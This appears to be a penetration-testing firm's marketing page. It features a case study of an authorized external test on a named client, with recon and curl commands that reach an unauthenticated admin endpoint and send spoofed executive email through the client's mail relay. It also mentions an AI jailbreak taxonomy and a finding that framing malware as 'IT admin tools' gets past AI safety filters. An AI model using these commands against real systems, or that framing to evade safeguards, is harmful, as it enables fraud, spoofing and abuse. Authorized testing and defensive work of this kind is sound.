We break into companies before attackers do — no credentials, no inside knowledge, just the public internet and a laptop. Then we fix everything and deliver board-grade evidence.
cyber.koscak.ai is a Košice-based penetration testing and AI security team. We conduct authorized external and internal assessments, build autonomous threat detection systems, and help investment firms understand the real attack surface of their portfolio — before a breach does.
We were asked to test whether MDJ's network security held from the outside. Their security administrator believed the same attack that worked internally would fail externally. We disproved that in 23 minutes. One unauthenticated admin endpoint. Unlimited emails from MDJ's verified mail relay. Unlimited SMS from MDJ's gateway. 15+ server configuration values exposed.
# Step 1: External recon — standard subdomain enumeration $ subfinder -d mdj.sk | httpx -silent https://vois-vyvoj.mdj.sk [200 OK] # Step 2: Check for exposed admin interfaces (no credentials) $ curl -s https://vois-vyvoj.mdj.sk/cron/ HTTP/2 200 OK ← No auth challenge. From the public internet. Command Description ──────────────────────────────────────────────────────── ────────────────────────────── / this help /start/:id starts cron task with id /stop/:id stops cron task with id ← DoS /restartall restarts all cron tasks ← mass DoS /environment?reload=1 show or reload env vars ← credential leak /sendSMS?tel=&sms=&id=0 sends an SMS via MDJ gateway ← spoofed /sendMail?od_koho=&komu=&predmet=&telo= sends email via MDJ relay ← passes SPF/DKIM # Step 3: Demonstrate impact — send mail as MDJ (authorized, to test address) $ curl "https://vois-vyvoj.mdj.sk/cron/sendMail?od_koho=ceo@mdj.sk&komu=test@koscak.ai&predmet=URGENT&telo=Wired+transfer+approved" Mail sent. ← Arrived. Passed SPF. Passed DKIM. Inbox, not spam. # Time elapsed from first subdomain scan to confirmed code execution: 23 minutes
The MDJ security report is the exact format we deliver to every client — executive-readable, CVSS-scored, with reproduction proof and a prioritized fix roadmap. Available under NDA.
Authorized by Juraj Koščák, MDJ AI Lead · 2026-04-14
SENTINEL is our autonomous threat detection layer, tested against the full Pliny attack taxonomy. 68 vectors across 8 categories: encoding tricks, prompt injection, identity hijacking, social engineering, context manipulation, meta-exploits, token smuggling, and compound attacks. Zero bypasses. The critical finding we published as threat intel: framing malware as "IT admin tools" bypasses major AI safety systems at 93% rate — SENTINEL blocks it.
The same system that powers SENTINEL is being built into a full AGI orchestrator. These are the facts — production numbers, no marketing.
Mark is an autonomous AI orchestrator — not a chatbot wrapper. 7 modular crates. Routes queries across 7+ LLM providers with automatic fallback. Self-healing: watches logs, diagnoses errors, proposes code patches on a git branch, runs tests, auto-commits if they pass. 78% autonomous fix rate. Rollback within 1 hour. $0/day for 80%+ of queries via intelligent routing.
Investment firms are high-value targets. A breach at a portfolio company means liability, valuation damage, and deal exposure. We protect the whole stack — before due diligence, after close, and continuously.
From a single 48-hour external assessment to a continuous portfolio-wide security retainer. Every engagement includes the same standard: attacker-grade methodology, CVSS-scored findings, executable remediation.
